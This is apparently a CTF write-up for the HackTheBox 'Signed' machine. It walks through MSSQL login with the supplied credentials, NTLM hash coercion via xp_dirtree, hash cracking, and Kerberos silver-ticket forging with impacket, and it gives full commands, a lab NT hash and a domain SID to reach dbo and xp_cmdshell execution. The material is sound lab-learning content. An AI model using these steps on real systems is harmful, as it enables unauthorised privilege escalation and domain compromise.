> For the complete documentation index, see [llms.txt](https://7-stars-servers.gitbook.io/docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://7-stars-servers.gitbook.io/docs/writeups/hackthebox/hackthebox-signed.md).

# HackTheBox - Signed

As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH

after finishing this box and reading other writeups i figured that i lacked a lot while enumerating this box and was going mainly with intuition lol. this could've easily drive me to a dead end.

Nmap shows only one port open 1443

```
# Nmap 7.98 scan initiated Thu Mar 19 10:27:27 2026 as: /usr/lib/nmap/nmap --privileged -sC -sV -p 1433 -oN 10.129.242.173.txt 10.129.242.173
Nmap scan report for 10.129.242.173
Host is up (0.19s latency).

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
|   10.129.242.173:1433:
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-03-19T10:20:35
|_Not valid after:  2056-03-19T10:20:35
|_ssl-date: 2026-03-19T10:27:45+00:00; 0s from scanner time.
| ms-sql-info:
|   10.129.242.173:1433:
|     Version:
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 19 10:27:46 2026 -- 1 IP address (1 host up) scanned in 18.76 seconds
```

From the banner I noticed that this build is vulnerable to certain cves but firing the pocs immediatly didn't work out so I prioritzed checking the given foothold account from the description and leaving cves in case i ran into a dead end. 

```
┌─[eu-dedivip-4]─[10.10.15.83]─[molloubia_1@htb-u9yagcqiip]─[~]
└──╼ [★]$ nxc mssql 10.129.242.173 -u 'scott' -p 'Sm230#C5NatH'  --local-auth
MSSQL       10.129.242.173  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.242.173  1433   DC01             [+] DC01\scott:Sm230#C5NatH 
```

"scott" creds are valid against the mssql server.

```
mssqlclient.py 'DC01/scott:Sm230#C5NatH'@10.129.242.173
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (scott  guest@master)>
```

First thing we see is that we're logged in as guest.

First thing i check if i have a command execution with xp\_cmdshell but sadly scott doenst have that.

<figure><img src="https://1403196296-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7iDlIelmS5trhjoQBiFK%2Fuploads%2FqT4GlijmMGssd5zxgcrC%2Fimage.png?alt=media&amp;token=bd1162f1-405c-4d50-b785-75bf7322a7e9" alt=""><figcaption></figcaption></figure>

Then i proceed to check my server and db permissions&#x20;

```
SQL (scott  guest@master)> select * FROM fn_my_permissions(NULL, 'SERVER');
entity_name   subentity_name   permission_name     
-----------   --------------   -----------------   
server                         CONNECT SQL         

server                         VIEW ANY DATABASE   

SQL (scott  guest@master)> select * FROM fn_my_permissions(NULL, 'DATABASE');
entity_name   subentity_name   permission_name                             
-----------   --------------   -----------------------------------------   
database                       CONNECT                                     

database                       VIEW ANY COLUMN ENCRYPTION KEY DEFINITION   

database                       VIEW ANY COLUMN MASTER KEY DEFINITION 
```

Can't do much besides reading the databases, let's see what are the dbs in this server.

```
SQL (scott  guest@master)> select name from sys.databases;
name     
------   
master   

tempdb   

model    

msdb 
```

only default databases, doesn't seem too interesting.

our user can run xp\_dirtree tho which allow us to interact with the filesystem, however we can't really read files on the system.

Next thing I think about is hash coercion using xp\_dirtree.

we get the ntlm hash of a user called mssqlsvc.

<figure><img src="https://1403196296-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7iDlIelmS5trhjoQBiFK%2Fuploads%2FkWRWTeSnoE8xGHarkxaW%2Fimage.png?alt=media&amp;token=5284f073-9b3d-4556-a74c-1928fa12064f" alt=""><figcaption></figcaption></figure>

Here is where my weak enumeration is starting to show cuz I didn't even notice there was a user like this in the box. however after cracking its hash with hashcat I got the follwoing password 'purPLE9795!@'

<figure><img src="https://1403196296-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7iDlIelmS5trhjoQBiFK%2Fuploads%2FmiOdLdTWMVR0Q4KRyofO%2Fimage.png?alt=media&amp;token=f43e764a-6aa3-4225-92d7-71f5082803d2" alt=""><figcaption></figcaption></figure>

it does get us in but again only as guest, we can reconfigure the server to enable xp\_cmdshell and get our command injection.

<figure><img src="https://1403196296-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7iDlIelmS5trhjoQBiFK%2Fuploads%2FhzKSva0YJRt2yeQ1SoXy%2Fimage.png?alt=media&amp;token=b09a2999-2297-46fe-9a86-390488872fd3" alt=""><figcaption></figcaption></figure>

I attempted forging a silver ticket with mssqlsvc and it worked so i looked for any group that has a sysadmin privs in this server. the IT group has sysadmin privileges, so we simply add the rid of this group to our forged ticket and the database will think mssqlsvc belongs to this group and we can finally get a command execution through xp\_cmdshell:

```
ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 Administrator
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in Administrator.ccache

```

```
 KRB5CCNAME=Administrator.ccache mssqlclient.py -no-pass -k DC01.signed.htb
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\Administrator  dbo@master)> 

```

we can see that we're connected with dbo and not guest.

<figure><img src="https://1403196296-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7iDlIelmS5trhjoQBiFK%2Fuploads%2FgFAE3wvEmpou5tYKMqel%2Fimage.png?alt=media&amp;token=f9e38fa4-8d43-4b57-ae6e-d4211c152bb6" alt=""><figcaption></figcaption></figure>

finally we got the user flag&#x20;

```
PS C:\Users\mssqlsvc\Desktop> cat user.txt
d*****************aeb9554a1de91a
```

For the root flag i spent 3 hours digging i came up with a solution that ended up being the unintended way to solve this machine, however, the intended way was to exploit cve 2025 33073.

```
 ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 512,513,1105 -user-id 1103 mssqlsvcdbo
```

first i forged a silver ticket using the mssqlsvc account making it a member of admin and IT groups, the reason behind this is that when we impersonate the user that the mssql service is running with. we can basically query the mssql in the context of that process running it enabling us to actually have full system compromise, this is often seen in ctfs about mssql.

<figure><img src="https://1403196296-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7iDlIelmS5trhjoQBiFK%2Fuploads%2FtBef2DVNpjoLVcAgdyk6%2Fimage.png?alt=media&amp;token=be86b23d-b6d1-4a25-bfe3-85b7520600f2" alt=""><figcaption></figcaption></figure>